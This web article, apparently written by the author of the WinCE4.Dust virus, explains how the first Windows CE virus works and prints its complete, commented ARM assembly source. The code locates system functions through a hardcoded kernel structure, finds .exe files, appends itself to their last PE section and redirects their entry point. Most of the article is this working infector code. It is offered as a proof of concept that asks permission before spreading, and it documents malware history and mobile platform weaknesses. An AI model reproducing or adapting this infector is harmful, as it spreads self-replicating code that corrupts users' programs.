Home > Articles > Security > Network Security

  • Print
  • + Share This
Like this article? We recommend

Like this article? We recommend


While programming WinCE4.Dust, I used time-tested techniques from the Win32 world. When infecting, the PE file is altered in the following way: The last section size is increased by the virus code size, and the virus body is copied at the end of the last section. Then the new EntryPoint is set; in other words, the pointer is set to the first instruction to execute when the program is loaded. This way, it's guaranteed that the virus will be run.

Because Dust doesn't use the host's import section, it has to somehow obtain the needed API function addresses. This was the biggest problem to overcome, and finding the solution took some time. As soon as we have the function addresses, we use them to alter the victim's files found on the memory medium. Finding files to infect provides the standard function pair FindFirstFile and FindNextFile. Together with CreateFile, they differ from their Win32 counterparts, which appeared to be another minor problem.

Every file gets mapped into memory, where later needed modifications are made. Windows CE introduced a new function, CreateFileForMapping, that has no equivalent on Win32. Without calling this function, there's no way to get the file handle that could be used to create the mapping object. On the other hand, the advantage of the ARM ISA appeared—the automatic generation of position-independent code. On Win32 x86, you had to determine its actual memory position and use this value later to modify absolute variable addresses (if the host's relocations were not altered, of course).

The virus source code includes deeper comments of given problems and techniques. Please take the time to carefully read through the comments of this source code, in which I explain the Windows CE .NET security weakness that allowed me to create the first successful virus for this platform.

** virus_source **


   EXPORT  WinMainCRTStartup

   AREA .text, CODE, ARM


; r11 - base pointer
virus_code_start   PROC
   stmdb   sp!, {r0 - r12, lr, pc}
   mov    r11, sp
   sub    sp, sp, #56     ; make space on the stack

   ; our stack space gets filled the following way
   ;    #-56 - udiv
   ;    #-52 - malloc
   ;    #-48 - free
   ; [r11, #-44] - CreateFileForMappingW
   ;    #-40 - CloseHandle
   ;    #-36 - CreateFileMappingW
   ;    #-32 - MapViewOfFile
   ;    #-28 - UnmapViewOfFile
   ;    #-24 - FindFirstFileW
   ;    #-20 - FindNextFileW
   ;    #-16 - FindClose
   ;    #-12 - MessageBoxW

   ;    #- 8 - filehandle
   ;    #- 4 - mapping handle

   bl    get_export_section

   ; we'll import via ordinals, not function names, because it's
   ; safe - even linker does that

   adr   r2, import_ordinals
   mov   r3, sp
   bl    lookup_imports

   bl    ask_user
   beq    jmp_to_host     ; are we allowed to spread?

   mov    r0, #0x23, 28
   mov    lr, pc
   ldr    pc, [r11, #-52]   ; allocate WFD
   mov    r4, r0

   cmp    r0, #0
   beq    jmp_to_host

   ; in the following code I use functions FindFirstFile/FindNextFile
   ; for finding *.exe files in the current directory. But in this
   ; case I made a big mistake. I didn't realize that WinCE is not
   ; aware of the current directory and thus we need to use absolute
   ; pathnames. That's why this code won't find files in the current
   ; directory, but rather always in root directory. I found this out when I
   ; was performing final tests, but because the aim was to create a
   ; proof-of-concept code and because the infection itself was already
   ; limited by the user's permission, I decided not to correct this
   ; bug

   adr    r0, mask
   mov    r1, r4
   mov    lr, pc
   ldr    pc, [r11, #-24]   ; find first file
   cmn    r0, #1
   beq    free_wfd

   mov    r5, r0
   ldr    r0, [r4, #28]     ; filesize high
   ldr    r1, [r4, #32]     ; filesize low

   cmp    r0, #0         ; file too big?
   bne    find_next_file

   cmp    r1, #0x1000      ; file smaller than 4096 bytes?
   addgt   r0, r4, #40      ; gimme file name
   blgt   infect_file

   mov    r0, r5
   mov    r1, r4
   mov    lr, pc
   ldr    pc, [r11, #-20]    ; find next file
   cmp    r0, #0         ; is there any left?
   bne    find_files_iterate

   mov    r0, r5
   mov    lr, pc
   ldr    pc, [r11, #-16]

   mov    r0, r4
   mov    lr, pc
   ldr    pc, [r11, #-48]    ; free WFD

   adr    r0, host_ep
   ldr    r1, [r0]        ; get host_entry
   ldr    r2, [r11, #56]     ; get pc
   add    r1, r1, r2       ; add displacement
   str    r1, [r11, #56]     ; store it back

   mov    sp, r11
   ldmia   sp!, {r0 - r12, lr, pc}

   ; we're looking for *.exe files
mask   DCB    "*", 0x0, ".", 0x0, "e", 0x0, "x", 0x0, "e", 0x0, 0x0, 0x0

   ; host entry point displacement
   ; in first generation let compiler count it
   DCD    host_entry - virus_code_start - 8

   ; WinCE is a UNICODE-only platform and thus we'll use the W ending
   ; for api names (there are no ANSI versions of these)

   DCW    2008       ; udiv
   DCW    1041       ; malloc
   DCW    1018       ; free
   DCW    1167       ; CreateFileForMappingW
   DCW    553        ; CloseHandle
   DCW    548        ; CreateFileMappingW
   DCW    549        ; MapViewOfFile
   DCW    550        ; UnmapViewOfFile
   DCW    167        ; FindFirstFileW
   DCW    181        ; FindNextFile
   DCW    180        ; FindClose
   DCW    858        ; MessageBoxW

   DCD    0x0

   ; basic wide string compare
wstrcmp   PROC
   ldrh    r2, [r0], #2
   ldrh    r3, [r1], #2

   cmp    r2, #0
   cmpeq   r3, #0
   moveq   pc, lr

   cmp    r2, r3
   beq    wstrcmp_iterate

   mov    pc, lr

   ; on theWin32 platform, almost all important functions were located in the
   ; kernel32.dll library (and if they weren't, the LoadLibrary/GetProcAddresss pair
   ; was). The first infectors had a hardcoded imagebase of this dll and
   ; later they imported needed functions by hand from it. This
   ; turned out to be incompatible because different Windows versions might
   ; have different imagebases for kernel32. That's why more or less
   ; sophisticated methods were found that allowed coding in a
   ; compatible way. One of these methods is scanning memory for known values
   ; located in PE file header ("MZ") if the address inside the module is
   ; given. Because the function inside kernel32 calls the EntryPoint of
   ; every Win32 process, we've got this address. Then comparing the word
   ; on and aligned address (and decrementing it) against known values is
   ; enough to locate the imagebase. If this routine is even covered
   ; with SEH (Structured Exception Handling) everything is safe.

   ; I wanted to use this method on WinCE too, but I hit the wall.
   ; Probably to save memory space, there are no headers
   ; before the first section of the loaded module. There is thus no
   ; "MZ" value and scanning cannot be used even we have the address
   ; inside coredll.dll (lr registr on our entrypoint). Moreover, we
   ; cannot use SEH either, because SEH handlers get installed with
   ; the help of a special directory (the exception directory) in the PE file and
   ; some data before the function starts - this information would have
   ; to be added while infecting the victim (the exception directory
   ; would have to be altered) which is of course not impossible -- just
   ; a little bit impractical to implement in our basic virus.

   ; That's why I was forced to use a different approach. I looked
   ; through the Windows CE 3.0 source code (shared source,
   ; downloadable from Microsoft) and tried to find out how the loader
   ; performs its task. The Loader needs the pointer to the module's export
   ; section and its imagebase to be able to import from it. The result was a
   ; KDataStruct at a hardcoded address accessible from user mode (why Microsoft
   ; chose to open this loophole, I don't know)
   ; and mainly it's item aInfo[KINX_MODULES] which is a pointer to a
   ; list of Module structures. There we can find all needed values
   ; (name of the module, imagebase and export section RVA). In the
   ; code that follows I go through this one-way list and look for
   ; structure describing the coredll.dll module. From this structure I
   ; get the imagebase and export section RVA (Relative Virtual Address).

   ; what sounds relatively easy was in the end more work than I
   ; expected. The problem was to get the offsets in the Module
   ; structure. The source code and corresponding headers I had were for
   ; Windows CE 3.0, but I was writing for Windows CE 4.2 (Windows Mobile 2003),
   ; where the structure is different. I worked it out using the following
   ; sequence:
   ; I was able to get the imagebase offset using the trial-and-error
   ; method - I used the debugger and tried values inside the
   ; structure that looked like valid pointers. If there was something
   ; interesting, I did some memory sniffing to realize where I was.
   ; The export section pointer was more difficult. There is no real
   ; pointer, just the RVA instead. Adding the imagebase to RVA gives us the
   ; pointer. That's why I found coredll.dll in memory - namely the
   ; list of function names in export section that the library exports.
   ; This list is just a series of ASCIIZ names (you can see this list
   ; when opening the dll in your favourite hex editor). At the
   ; beginning of this list there must be a dll name (in this case
   ; coredll.dll) to which a RVA in the export section header
   ; points. Substracting the imagebase from the address where the dll
   ; name starts gave me an RVA of the dll name. I did a simple byte
   ; search for the byte sequence that together made this RVA value. This
   ; showed me where the (Export Directory Table).Name Rva is.
   ; Because this is a known offset within a known structure (which is
   ; in the beginning of export section), I was able to get
   ; the export section pointer this way. I again substracted the imagebase to
   ; get the export section RVA. I looked up this value in the coredll's
   ; Module structure, which finally gave me the export section RVA
   ; offset.

   ; this works on Pocket PC 2003; it works on
   ; my wince 4.20.0 (build 13252).
   ; On different versions the structure offsets might be different :-/

; output:
;  r0 - coredll base addr
;  r1 - export section addr
get_export_section   PROC
   stmdb   sp!, {r4 - r9, lr}

   ldr    r4, =0xffffc800   ; KDataStruct
   ldr    r5, =0x324     ; aInfo[KINX_MODULES]

   add    r5, r4, r5
   ldr    r5, [r5]

   ; r5 now points to first module

   mov    r6, r5
   mov    r7, #0

   ldr    r0, [r6, #8]     ; get dll name
   adr    r1, coredll
   bl    wstrcmp        ; compare with coredll.dll

   ldreq   r7, [r6, #0x7c]    ; get dll base
   ldreq   r8, [r6, #0x8c]    ; get export section rva

   add    r9, r7, r8
   beq    got_coredllbase    ; is it what we're looking for?

   ldr    r6, [r6, #4]
   cmp    r6, #0
   cmpne   r6, r5
   bne    iterate        ; nope, go on

   mov    r0, r7
   add    r1, r8, r7      ; yep, we've got imagebase
                   ; and export section pointer

   ldmia   sp!, {r4 - r9, pc}

coredll   DCB    "c", 0x0, "o", 0x0, "r", 0x0, "e", 0x0, "d", 0x0, "l", 0x0, "l", 0x0
      DCB    ".", 0x0, "d", 0x0, "l", 0x0, "l", 0x0, 0x0, 0x0

; r0 - coredll base addr
; r1 - export section addr
; r2 - import ordinals array
; r3 - where to store function adrs
lookup_imports   PROC
   stmdb   sp!, {r4 - r6, lr}

   ldr    r4, [r1, #0x10]    ; gimme ordinal base
   ldr    r5, [r1, #0x1c]    ; gimme Export Address Table
   add    r5, r5, r0

   ldrh   r6, [r2], #2     ; gimme ordinal
   cmp    r6, #0        ; last value?

   subne   r6, r6, r4      ; substract ordinal base
   ldrne   r6, [r5, r6, LSL #2] ; gimme export RVA
   addne   r6, r6, r0      ; add imagebase
   strne   r6, [r3], #4     ; store function address
   bne    lookup_imports_iterate

   ldmia    sp!, {r4 - r6, pc}

; r0 - filename
; r1 - filesize
infect_file   PROC
   stmdb   sp!, {r0, r1, r4, r5, lr}

   mov    r4, r1
   mov    r8, r0

   bl    open_file       ; first open the file for mapping
   cmn    r0, #1
   beq    infect_file_end
   str    r0, [r11, #-8]    ; store the handle

   mov    r0, r4        ; now create the mapping with
                   ; maximum size == filesize
   bl    create_mapping
   cmp    r0, #0
   beq    infect_file_end_close_file
   str    r0, [r11, #-4]    ; store the handle

   mov    r0, r4
   bl    map_file       ; map the whole file
   cmp    r0, #0
   beq    infect_file_end_close_mapping
   mov    r5, r0

   bl    check_header     ; is it file that we can infect?
   bne    infect_file_end_unmap_view

   ldr    r0, [r2, #0x4c]    ; check the reserved field in
                   ; optional header against
   ldr    r1, =0x72617461    ; rata
   cmp    r0, r1        ; already infected?
   beq    infect_file_end_unmap_view

   ldr    r1, [r2, #0x3c]    ; gimme filealignment
   adr    r0, virus_start
   adr    r2, virus_end     ; compute virus size
   sub    r0, r2, r0
   mov    r7, r0        ; r7 now holds virus_size
   add    r0, r0, r4
   bl    _align_        ; add it to filesize and
   mov    r6, r0        ; align it to filealignment
                   ; r6 holds the new filesize

   mov    r0, r5
   mov    lr, pc
   ldr    pc, [r11, #-28]    ; UnmapViewOfFile

   ldr    r0, [r11, #-4]
   mov    lr, pc
   ldr    pc, [r11, #-40]    ; close mapping handle

   mov    r0, r8
   bl    open_file       ; reopen the file because via
                   ; closing the mapping handle file
                   ; handle was closed too
   cmn    r0, #1
   beq    infect_file_end
   str    r0, [r11, #-8]

   mov    r0, r6        ; create mapping again with the
   bl    create_mapping    ; new filesize (with virus appended)

   cmp    r0, #0
   beq    infect_file_end_close_file
   str    r0, [r11, #-4]

   mov    r0, r6
   bl    map_file       ; map it
   cmp    r0, #0
   beq    infect_file_end_close_mapping
   mov    r5, r0

   ; r5 - mapping base
   ; r7 - virus_size

   ldr    r4, [r5, #0x3c]    ; get PE signature offset
   add    r4, r4, r5      ; add the base

   ldrh   r1, [r4, #6]     ; get NumberOfSections
   sub    r1, r1, #1      ; we want the last section header
                   ; so dec
   mov    r2, #0x28       ; multiply with section header size
   mul    r0, r1, r2

   add    r0, r0, r4      ; add optional header start to displacement
   add    r0, r0, #0x78     ; add optional header size

   ldr    r1, [r4, #0x74]    ; get number of data directories
   mov    r1, r1, LSL #3    ; multiply with sizeof(data_directory)
   add    r0, r0, r1      ; add it because section headers
                   ; start after the optional header
                   ; (including data directories)

   ldr    r6, [r4, #0x28]    ; gimme entrypoint rva

   ldr    r1, [r0, #0x10]    ; get last section's size of rawdata
   ldr    r2, [r0, #0x14]    ; and pointer to rawdata
   mov    r3, r1
   add    r1, r1, r2      ; compute pointer to the first
                   ; byte available for us in the
                   ; last section
                   ; (pointer to rawdata + sizeof rawdata)
   mov    r9, r1        ; r9 now holds the pointer

   ldr    r8, [r0, #0xc]    ; get RVA of section start
   add    r3, r3, r8      ; add sizeof rawdata
   str    r3, [r4, #0x28]    ; set entrypoint

   sub    r6, r6, r3      ; now compute the displacement so that
                   ; we can later jump back to the host
   sub    r6, r6, #8      ; sub 8 because pc points to
                   ; fetched instruction (viz LTORG)

   mov    r10, r0
   ldr    r0, [r10, #0x10]   ; get size of raw data again
   add    r0, r0, r7      ; add virus size
   ldr    r1, [r4, #0x3c]
   bl    _align_        ; and align

   str    r0, [r10, #0x10]   ; store new size of rawdata
   str    r0, [r10, #0x8]    ; store new virtual size

   ldr    r1, [r10, #0xc]    ; get virtual address of last section
   add    r0, r0, r1      ; add size so get whole image size
   str    r0, [r4, #0x50]    ; and store it

   ldr    r0, =0x60000020    ; IMAGE_SCN_CNT_CODE | MAGE_SCN_MEM_EXECUTE |
                   ; IMAGE_SCN_MEM_READ
   ldr    r1, [r10, #0x24]   ; get old section flags
   orr    r0, r1, r0      ; or it with our needed ones
   str    r0, [r10, #0x24]   ; store new flags

   ldr    r0, =0x72617461
   str    r0, [r4, #0x4c]    ; store our infection mark

   add    r1, r9, r5      ; now we'll copy virus body
   mov    r9, r1        ; to space prepared in last section
   adr    r0, virus_start
   mov    r2, r7
   bl    simple_memcpy

   adr    r0, host_ep      ; compute number of bytes between
                   ; virus start and host ep
   adr    r1, virus_start
   sub    r0, r0, r1      ; because we'll store new host_ep
   str    r6, [r0, r9]     ; in the copied virus body

   mov    r0, r5
   mov    lr, pc        ; unmap the view
   ldr    pc, [r11, #-28]
   ldr    r0, [r11, #-4]
   mov    lr, pc        ; close the mapping
   ldr    pc, [r11, #-40]
   ldr    r0, [r11, #-8]
   mov    lr, pc        ; close file handle
   ldr    pc, [r11, #-40]
   ldmia   sp!, {r0, r1, r4, r5, pc}   ; and return

   ; a little reminiscence of my beloved book - Greg Egan's Permutation City
   DCB    "This code arose from the dust of Permutation City"
   ALIGN    4

   ; this function checks whether the file we want to infect is
   ; suitable
check_header  PROC
   ldrh   r0, [r5]
   ldr    r1, =0x5a4d      ; MZ?
   cmp    r0, r1
   bne    infect_file_end_close_mapping

   ldr    r2, [r5, #0x3c]
   add    r2, r2, r5

   ldrh   r0, [r2]
   ldr    r1, =0x4550      ; Signature == PE?
   cmp    r0, r1
   bne    check_header_end

   ldrh   r0, [r2, #4]
   ldr    r1, =0x1c0      ; Machine == ARM?
   cmp    r0, r1
   bne    check_header_end

   ldrh   r0, [r2, #0x5C]    ; IMAGE_SUBSYSTEM_WINDOWS_CE_GUI ?
   cmp    r0, #9
   bne    check_header_end

   ldrh   r0, [r2, #0x40]
   cmp    r0, #4        ; windows ce 4?

   mov    pc, lr

; r0 - file
open_file   PROC
   str    lr, [sp, #-4]!

   sub    sp, sp, #0xc
   mov    r1, #3
   str    r1, [sp]       ; OPEN_EXISTING
   mov    r3, #0
   mov    r2, #0
   str    r3, [sp, #8]
   str    r3, [sp, #4]
   mov    r1, #3, 2       ; GENERIC_READ | GENERIC_WRITE
   mov    lr, pc
   ldr    pc, [r11, #-44]    ; call CreateFileForMappingW to
                   ; get the handle suitable for
                   ; CreateFileMapping API
                   ; (on Win32 calling CreateFile is enough)
   add    sp, sp, #0xc

   ldr    pc, [sp], #4

; r0 - max size low
create_mapping   PROC
   str    lr, [sp, #-4]!

   mov    r1, #0
   sub    sp, sp, #8
   str    r0, [sp]
   str    r1, [sp, #4]
   mov    r2, #4        ; PAGE_READWRITE
   mov    r3, #0
   ldr    r0, [r11, #-8]
   mov    lr, pc
   ldr    pc, [r11, #-36]
   add    sp, sp, #8

   ldr    pc, [sp], #4

; r0 - bytes to map
map_file   PROC
   str    lr, [sp, #-4]!

   sub    sp, sp, #4
   str    r0, [sp]
   ldr    r0, [r11, #-4]
   mov    r1, #6        ; FILE_MAP_READ or FILE_MAP_WRITE
   mov    r2, #0
   mov    r3, #0
   mov    lr, pc
   ldr    pc, [r11, #-32]
   add    sp, sp, #4

   ldr    pc, [sp], #4

   ; not optimized (thus simple) mem copy
; r0 - src
; r1 - dst
; r2 - how much
simple_memcpy   PROC
   ldr    r3, [r0], #4
   str    r3, [r1], #4
   subs   r2, r2, #4
   bne    simple_memcpy
   mov    pc, lr

   ; (r1 - (r1 % r0)) + r0
; r0 - number to align
; r1 - align to what
_align_    PROC
   stmdb   sp!, {r4, r5, lr}

   mov    r4, r0
   mov    r5, r1

   mov    r0, r1
   mov    r1, r4

   ; ARM ISA doesn't have the div instruction so we'll have to call
   ; the coredll's div implementation

   mov    lr, pc
   ldr    pc, [r11, #-56]    ; udiv

   sub    r1, r5, r1
   add    r0, r4, r1

   ldmia   sp!, {r4, r5, pc}

   ; this function will ask user (via a MessageBox) whether we're
   ; allowed to spread or not
ask_user   PROC
   str    lr, [sp, #-4]!

   mov    r0, #0
   adr    r1, text
   adr    r2, caption
   mov    r3, #4

   mov    lr, pc
   ldr    pc, [r11, #-12]

   cmp    r0, #7

   ldr    pc, [sp], #4

   ; notice that the strings are encoded in UNICODE

   ; WinCE4.Dust by Ratter/29A
caption DCB    "W", 0x0, "i", 0x0, "n", 0x0, "C", 0x0, "E", 0x0, "4", 0x0
     DCB    ".", 0x0, "D", 0x0, "u", 0x0, "s", 0x0, "t", 0x0, " ", 0x0
     DCB    "b", 0x0, "y", 0x0, " ", 0x0, "R", 0x0, "a", 0x0, "t", 0x0
     DCB    "t", 0x0, "e", 0x0, "r", 0x0, "/", 0x0, "2", 0x0, "9", 0x0
     DCB    "A", 0x0, 0x0, 0x0

     ALIGN    4

   ; Dear User, am I allowed to spread?

text   DCB    "D", 0x0, "e", 0x0, "a", 0x0, "r", 0x0, " ", 0x0, "U", 0x0
     DCB    "s", 0x0, "e", 0x0, "r", 0x0, ",", 0x0, " ", 0x0, "a", 0x0
     DCB    "m", 0x0, " ", 0x0, "I", 0x0, " ", 0x0, "a", 0x0, "l", 0x0
     DCB    "l", 0x0, "o", 0x0, "w", 0x0, "e", 0x0, "d", 0x0, " ", 0x0
     DCB    "t", 0x0, "o", 0x0, " ", 0x0, "s", 0x0, "p", 0x0, "r", 0x0
     DCB    "e", 0x0, "a", 0x0, "d", 0x0, "?", 0x0, 0x0, 0x0
     ALIGN    4

     ; Just a little greeting to AV firms :-)

     DCB    "This is proof of concept code. Also, i wanted to make avers happy."
     DCB    "The situation when Pocket PC antiviruses detect only EICAR file had"
     DCB    " to end ..."
     ALIGN    4

   ; LTORG is a very important pseudo instruction, which places the
   ; literal pool "at" the place of its presence. Because the ARM
   ; instruction length is hardcoded to 32 bits, it is not possible in
   ; one instruction to load the whole 32bit range into a register (there
   ; have to be bits to specify the opcode). That's why the literal
   ; pool was introduced, which in fact is just an array of 32bit values
   ; that are not possible to load. This data structure is later
   ; accessed with the aid of the PC (program counter) register that points
   ; to the currently executed instruction + 8 (+ 8 because ARM processors
   ; implement a 3 phase pipeline: execute, decode, fetch and the PC
   ; points not at the instruction being executed but at the instruction being
   ; fetched). An offset is added to PC so that the final pointer
   ; points to the right value in the literal pool.

   ; the pseudo instruction ldr rX, =<value> while compiling gets
   ; transformed to a mov instruction (if the value is in the range of
   ; valid values) or it allocates its place in the literal pool and becomes a
   ; ldr, rX, [pc, #<offset>]
   ; similarly adr and adrl instructions serve to loading addresses
   ; to register.

   ; this approach's advantage is that with minimal effort we can get
   ; position independent code from the compiler which allows our
   ; code to run wherever in the address space the loader will load us.


   ; the code after virus_end doesn't get copied to victims

WinMainCRTStartup PROC
   b     virus_code_start

   ; first generation entry point
   mvn    r0, #0
   mov    pc, lr
** virus_source_end **

Summary of differences when moving from Win32 to WinCE (from the virus writer's point of view):

  • Absence of image headers at the start of loaded image on WinCE

  • No awareness of the current directory on WinCE

  • The need to call CreateFileForMapping on WinCE

  • WinCE is Unicode only

  • Absence of DIV instruction in ARM ISA

  • Automatic generation of position-independent code with armasm

  • + Share This
  • 🔖 Save To Your Account